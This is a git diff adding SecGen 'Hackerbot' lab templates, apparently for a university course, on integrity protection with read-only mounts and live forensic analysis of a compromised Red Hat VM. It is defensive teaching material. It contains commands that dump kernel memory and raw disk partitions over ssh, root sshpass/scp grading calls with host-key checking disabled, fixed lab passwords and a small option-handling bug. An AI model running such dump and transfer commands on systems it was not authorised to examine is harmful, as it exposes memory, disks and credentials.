diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb new file mode 100644 index 000000000..d6ab21c0e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_limitations.md.erb @@ -0,0 +1,3 @@ +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb new file mode 100644 index 000000000..5436115b7 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/intro.md.erb @@ -0,0 +1,50 @@ +# Integrity Management: Protecting Against Change + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): +- hackerbot_server (leave it running, you don't log into this) +- desktop + +### Your login details for the "desktop" VM +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Meet Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you. + +**On the desktop VM:** + +==Open Pidgin and send some messages to Hackerbot:== + +- Try asking Hackerbot some questions +- Send "help" +- Send "list" +- Send "hello" + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- + +## Integrity + +Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on. + +> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required. +> +> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of unauthorised changes. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb new file mode 100644 index 000000000..0bb7cc90a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/labsheet.html.erb @@ -0,0 +1,114 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb new file mode 100644 index 000000000..374803e00 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/resources.md.erb @@ -0,0 +1,5 @@ +## Resources + +An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003). + +Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/) \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb new file mode 100644 index 000000000..b35801e69 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/ro_mounting.md.erb @@ -0,0 +1,80 @@ +### Protecting integrity with read-only filesystems +#### Getting to know read-only mounting +On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do). + +In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only. + +In a command prompt, ==run:== + +```bash +mount +``` +> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents. + +Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point. + +List the contents of the /etc/ directory so you are familiar with its contents: + +```bash +ls /etc/ +``` +Create a new directory to be the mount point. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/etc +``` +==Mount the /etc/ directory to the new mount point:== + +```bash +sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/ +``` +Make sure the /etc/ directory is accessible via the home-etc directory mount point: + +```bash +ls /home/<%= $main_user %>/etc/ +``` +Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile1 +``` +Check that a new file has been created using the following commands: + +```bash +ls -l /home/<%= $main_user %>/etc/newfile1 +``` + +```bash +ls -l /etc/newfile1 +``` + +We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point. + +```bash +sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/ +``` +==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile2 +``` + +This should prevent changes being accidentally being made to important configuration files in the /etc/ directory. + + +We can ==remount a directory as read-only to itself==: + +```bash +sudo mount -o bind <%= $example_dir %> <%= $example_dir %> +sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %> +``` + +Now even the owner of the directory (you), can't make changes. ==Try:== + +```bash +cat > <%= $example_dir %>new_file +``` + +Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network. + +> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share). diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/live_analysis.pp b/modules/generators/structured_content/hackerbot_config/live_analysis/live_analysis.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/live_analysis/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/live_analysis/secgen_local/local.rb new file mode 100644 index 000000000..c66f0d548 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/secgen_local/local.rb @@ -0,0 +1,45 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :web_server_ip + attr_accessor :ids_server_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator IDS' + self.title = 'Dead Analysis' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.web_server_ip = [] + self.ids_server_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--web_server_ip' + self.web_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--hackerbot_server_ip' + self.ids_server_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/live_analysis/secgen_metadata.xml new file mode 100644 index 000000000..de3c34ee9 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/secgen_metadata.xml @@ -0,0 +1,46 @@ + + + + Hackerbot config for an investigation an analysis lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a lab. + Topics covered: Live Analysis. + + hackerbot_config + linux + + accounts + flags + root_password + web_server_ip + ids_server_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/intro.md.erb new file mode 100644 index 000000000..6921a8ba2 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/intro.md.erb @@ -0,0 +1,81 @@ +# Analysis of a Compromised System - Part 1: Online Analysis and Data Collection + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot-server (leave it running, you don't log into this) +- desktop +- server-compromised (user: root password: toor)[^2] + +All of these VMs need to be running to complete the lab. + +==Create a new VM from the Redhat7.2\_Template2 template and give it a name that begins with your "c" number==. **DO NOT START the new VM.** +> If you are working on campus in the IMS labs using the oVirt online labs, [*click here for instructions on how to login on campus in the IMS labs and create VMs from templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing). + +> If you are working remotely using the oVirt online labs, [*click here for instructions on how to login via VPN and create VMs from templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing). + + +The Compromised Red Hat 7.2 system is based on a server that has been compromised (courtesy of the Honeynet Project[^1]). + +Once you have your compromised server VM, ==add the FIRE IR CD disk==. + +In oVirt, right click on the VM and choose **Change CD**. + +==Select the "fire-0.3.5b.iso"== file from the dropdown box. + + +==Start the VM and log in as the user specified above.== + +### Your login details for the VMs + +**Desktop:** + +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +**Compromised-Server:** + +User: root +Password: toor + +You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to investigate the system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +Work through the below exercises, completing the Hackerbot challenges as noted. + +## Note IP addresses + +**On the Red Hat 7.2 VM:** +==Login to the Red Hat 7.2 VM with root and toor.== + +Run "dhcpcd eth0" on the VM to renew its IP address: +```bash +dhcpcd eth0 +``` + +Note the IP addresses of the redhat and your Desktop VMs. Make a note of the two IP addresses, which should be on the same subnet (starting the same): for example, if both systems include IP addresses starting with 192.168.201 they are on the same network. You will need these IP addresses later. +> Check IP addresses using `ifconfig` or `ip a s` + +## Reminder to save + +Remember to **save any evidence you collect**, as this will be used as the basis for the next lab. **You cannot complete the following lab (part 2) without saving the evidence you collect during this lab.** Saving to your Desktop VM should be sufficient. + +--- + +## Introduction + +So you have reason to believe one of your servers has experienced a security compromise... What next? For this lab you investigate a real Linux server that was connected to the Internet, and attacked and compromised by unknown remote attackers. + +The investigation of a potential security compromise is closely related to digital forensics topics. As with forensic investigations, we also aim to maintain the integrity of our "evidence", *wherever possible* not modifying access times or other information. However, in a business incident response setting maintaining a chain of evidence may not be our highest priority, since we may be more concerned with other business objectives, such as assuring the confidentiality, integrity, and availability of data and services. + +During analysis, it is good practice to follow the order of volatility (OOV): collecting the most volatile evidence first (such as the contents of RAM, details of processes running, and so on) from a live system, then collecting less volatile evidence (such as data stored on disk) using offline analysis. diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/lab.xml.erb new file mode 100644 index 000000000..346d5350c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/lab.xml.erb @@ -0,0 +1,207 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0 + $files = $second_account['leaked_filenames'] + $log_files = $second_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_user_pass = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 5 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + false + + + + + Hi there. It seems we have a server that's been compromised. Investigate for me, and I'll give you some flags. + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Live Analysis + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $rand_name1 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name1 %> /tmp/susp_ports; echo $?; cat /tmp/susp_ports + false + Create a list of suspicious ports that are open on the compromised system, save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name1 %>. + + + 65436|65336|3128|2003 + :) Well done! <%= $flags.pop %>. + + + + 1 + :( Failed to get file. + + + :( List is incomplete... + + + + What is the full path of the command used to start listening on port 2003? + /usr/bin/smdb -D + :) <%= $flags.pop %> + + + + <%= ERB.new(File.read self.templates_path + 'live_evidence_collection.md.erb').result(self.get_binding) %> + + + +<% $rand_name2 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name2 %> /tmp/susp_pids; echo --$?; cat /tmp/susp_pids + false + + Create a list of processes (pids) running on the system that are not reported by the local version of ps. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name2 %>. + + + \b2\b|\b3\b|\b4\b + :( Your list includes processes that are not hidden. + + + \b5\b.*34|34.*\b5\b + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to get file. + + + :( List is incomplete... + + + + What kind of malware hides processes etc? + .*rootkit.*|.*trojan.*|.*Trojan.* + :) <%= $flags.pop %> + + + + + + +<% $rand_name3 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name3 %> /tmp/susp_chkrk; echo $?; cat /tmp/susp_chkrk|tail + false + + Save the lines in chkrootkit output that indicate an infection. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name3 %>. + + + not infected + :( Your list includes lines that do not indicate infection. + + + ps.*INFECTED + :) Well done! <%= $flags.pop %>. + + + + 1 + :( Failed to get file. + + + :( Something was not right... + + + + +
diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/labsheet.html.erb new file mode 100644 index 000000000..3166f3520 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/live_analysis/templates/live_evidence_collection.md.erb b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/live_evidence_collection.md.erb new file mode 100644 index 000000000..11600e86a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/live_analysis/templates/live_evidence_collection.md.erb @@ -0,0 +1,343 @@ +## Live analysis + +After suspecting a compromise, before powering down the server for offline analysis, the first step is typically to perform some initial investigation of the live system. Live analysis aims to investigate suspicions that a compromise has occurred, and gather volatile information, which may potentially include evidence that would be lost by powering down the computer. + +**On the compromised VM (Redhat7.2):** To keep a record of what we are doing on the system, start the script command: + +```bash +mkdir /tmp/evid +script -f /tmp/evid/invst.log +``` +> Note: *if you do this lab over multiple sessions*, be sure to save the log of your progress (/tmp/evid/invst.log), and restart `script`. + +==LogBook question: Make a note of the risks and benefits associated with storing a record of what we are doing locally on the computer that we are investigating.== + +Consider the advantages of *handwritten* documentation of what investigators are doing. + +Many of the commands used to investigate what is happening on a system are standard Unix commands. However, it is advisable to run these from a read-only source, since software on your system may have been tampered with. Also, using read-only media minimises the changes made to your local filesystem, such as executable file access times. + +During preparation, you configured the compromised VM to have access to the FIRE (Forensic and Incident Response Environment) CD/DVD ISO (which is equivalent to inserting the optical disk into your server's DVD-tray). FIRE is an example of a Linux Live Disk that includes tools for forensic investigation. In addition to being able to boot to a version of Linux for offline investigation of evidence, the disk contains Linux tools for live analysis. + +**On the compromised VM (Redhat7.2)**, ==mount the disk==, so that we can access its contents: + +```bash +mount /dev/hdc /mnt/cdrom/ +``` + +On a typical system, many binary executables are dynamically linked; that is, these programs do not physically contain all the libraries (shared code) they use, and instead load that code from shared library files when the program runs. On Unix systems the shared code is typically contained in ".so" files, while on Windows ".dll" files contain shared code. The risks associated with using dynamically linked executables to investigate security breaches is that access times on the shared objects will be updated, and the shared code may also have been tampered with. For this reason it is safest to use programs that are statically linked; that is, have been compiled to physically contain a copy of all of the shared code that it uses. + +**On your Desktop VM** ==look at which libraries are dynamically loaded== when you run a typical command: + +```bash +ldd /bin/ls +``` + +Examine the output, and determine how many external libraries are involved. + +**On the compromised VM (Redhat7.2)**: The FIRE disk contains a number of statically compiled programs to be used for investigations. ==Check that these are indeed statically linked:== + +```bash +ldd /mnt/cdrom/statbins/linux2.2_x86/ls +``` + +==Compare the output to the previous command== run on your own Desktop system. The output will be distinctly different, stating that the program is not dynamically compiled. + +Note that, although an improvement, using statically linked programs such as these still do not guarantee that you can trust the output of the programs you run. Consider why, and make a note of this. + +## Collecting live state manually + +The next step is to use tools to capture information about the live system, for later analysis. One approach to storing the resulting evidence is to send results over the network via Netcat or SSH, without storing them locally. This has the advantage of not changing local files, and is less likely to tip off an attacker, rather than storing the evidence on the compromised machine. + +### Comparing process lists + +**On your Desktop VM**, check ensure the local SSH server (sshd) is running on your system. + +**On the compromised VM (Redhat7.2)**, test sending the results of some commands (process lists using ps) over SSH to your Desktop VM: + +> Note: if the VM is not using a UK keyboard layout, the @ and " symbols may be reversed, and the | symbol is located at the \~. Alternatively, run `loadkeys uk` in the RedHat VM to swap to a UK keyboard layout + +```bash +ssh <%= $main_user %>@*desktop-IP-address* "mkdir evidence" + +ps aux | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/ps_out" +``` + +> (Where *desktop-IP-address* is the IP address of your *desktop VM*, which should be on the same subnet as your compromised VM) + +==LogBook question: Why might it not be a good idea to ssh to your own account (if you had one on a Desktop in real life) and type your own password from the compromised system? What are some more secure alternatives?== + +**On your Desktop VM**, find the newly created files and view the contents. + +> Hint: you may wish to use the Dolphin graphical file browser, then navigate to "/home/<%= $main_user %>/evidence". + +**On the compromised VM (Redhat7.2)**, run the statically compiled version of ls from the incident response disk to list the contents of /proc (this is provided dynamically by the kernel: a directory exists for every process on the system), and once again send the results to your Desktop VM... + +First, to save yourself from having to type `/mnt/cdrom/statbins/linux2.2_x86/` over and over, save that value in a Bash variable: + +```bash +export static="/mnt/cdrom/statbins/linux2.2_x86/" +``` + +Now, to run the statically compiled version of ls, you can run: + +```bash +$static/ls +``` + +Run the command: + +```bash +$static/ls /proc | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/proc_ls_static" +``` + +**On your Desktop VM**, find the newly created files and compare the list of pids (numbers representing processes) output from the previous commands. This is the second column of output in the ps\_out, with the numbers in proc\_ls\_static. + +Hint: you can do the comparison manually, or using commands such as "cut" (or [*awk*](http://lmgtfy.com/?q=use+awk+to+print+column)), "sort", and "diff". For example, `cat ps_out | awk '{ print $4 }'` will pipe the contents of the file ps\_out into the awk command, which will split on spaces, and only display the fourth field. Ensure this is displaying the list of pids, if not try selecting a different field. You could pipe this through to "sort". Then save that to a file (by appending " > pids\_ps\_out"). We have covered how to use diff previously. Remember "man awk", "man sort", and "man diff" will tell you about how to use the commands (and Google may also come in handy). + +Are the same processes shown each time? If not, that is very suspicious, and likely indicates a break-in, and that we probably shouldn't trust the output of local commands. + +### Gathering live state using statically compiled programs + +**On the compromised VM (Redhat7.2)**, save a copy of a list inodes of removed files that are still open or executing: + +```bash +$static/ils -o /dev/hda1 | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/deleted_out" +``` +> Tip: on VMware VMs, you may need to replace "hda1" with "sda1". + +Save a list of the files currently being accessed by programs: + +```bash +$static/lsof | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_out" +``` + +**On your Desktop VM**, open evidence/lsof\_out. + +==LogBook question: Are any of these marked as "(deleted)"? How does this compare to the ils output? What does this indicate?== + +**On the compromised VM (Redhat7.2)**, + +Save a list of network connections: + +```bash +$static/netstat -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/netstat_out" +``` +> (Some commands such as this one may take awhile to run, wait until the Bash prompt returns) + +Save a list of the network resources currently being accessed by programs: + +```bash +$static/lsof -P -i -n | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_net_out" +``` + +Save a copy of the routing table: + +```bash +$static/route | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/route_out" +``` + +Save a copy of the ARP cache: + +```bash +$static/arp -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/arp_out" +``` + +Save a list of the kernel modules currently loaded (as reported by the kernel): + +```bash +$static/cat /proc/modules | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsmod_out" +``` + +**Creating images of the system state** + +We can take a snapshot of the live state of the computer by dumping the entire contents of memory (what is in RAM/swap) into a file. On a Linux system /proc/kcore contains an ELF-formatted core dump of the kernel. Save a snapshot of the kernel state: + +```bash +$static/dd if=/proc/kcore conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/kcore" +``` + +Next, we can copy entire partitions to our other system, to preserve the exact state of stored data, and so that we can conduct offline analysis without modifying the filesystem. + +Start by identifying the device files for the partitions on the compromised system (Redhat7.2): + +```bash +df +``` + +Note that on this system the root partition (mounted on "/"), is /dev/hda1. + +> Help: on VMware VMs only, you may need to replace "hda1" with "sda1". + +Then, copy byte-for-byte the contents of the root ("/") partition (where /dev/hda1 was identified from the previous command: + +```bash +$static/dd if=/dev/hda1 conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/hda1.img" +``` +> Tip: Running this will take some time, so you may wish to continue with the next step while the copying runs. + +This command could be repeated for each partition including swap partitions. For now, let's accept that we have all we need. + +**On your Desktop VM**, list all the files you have created: + +```bash +ls -la /home/<%= $main_user %>/evidence +``` + +At this stage look through some of the information you have collected. For example: + +```bash +less /home/<%= $main_user %>/evidence/lsof_net_out +``` + +Examine the contents of the various output files and identify anything that may indicate that the computer has been compromised by an attacker. Hint: does the network usage seem suspicious? + +### Collecting live state using scripts + +As you may have concluded from the previous tasks, manually collecting all this information from a live system can be a fairly time consuming process. Incident response data collection scripts can automate much of this process. A common data collection script "linux-ir.sh", is included on the FIRE disk, and is also found on the popular Helix IR disk. + +**On the compromised VM (Redhat7.2)**, have a look through the script: + +```bash +less /mnt/cdrom/statbins/linux-ir.sh +``` + +Note that this is a Bash script, and each line contains commands that you could type into the Bash shell. Bash provides the command prompt on most Unix systems, and a Bash script is an automated way of running commands. This script is quite simple, with a series of commands (similar to some of those you have already run) to display information about the running system. + +Identify some commands within the script that collect information you have not already collected above. + +Exit viewing the script (press q). + +Run the data collection script, redirecting output to your Desktop VM: + +```bash +cd /mnt/cdrom/statbins/ + +./linux-ir.sh | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/ir_out" +``` + +**On your Desktop VM**, have a look at the output from the script: + +```bash +less /home/<%= $main_user %>/evidence/ir_out +``` + +Use what you have 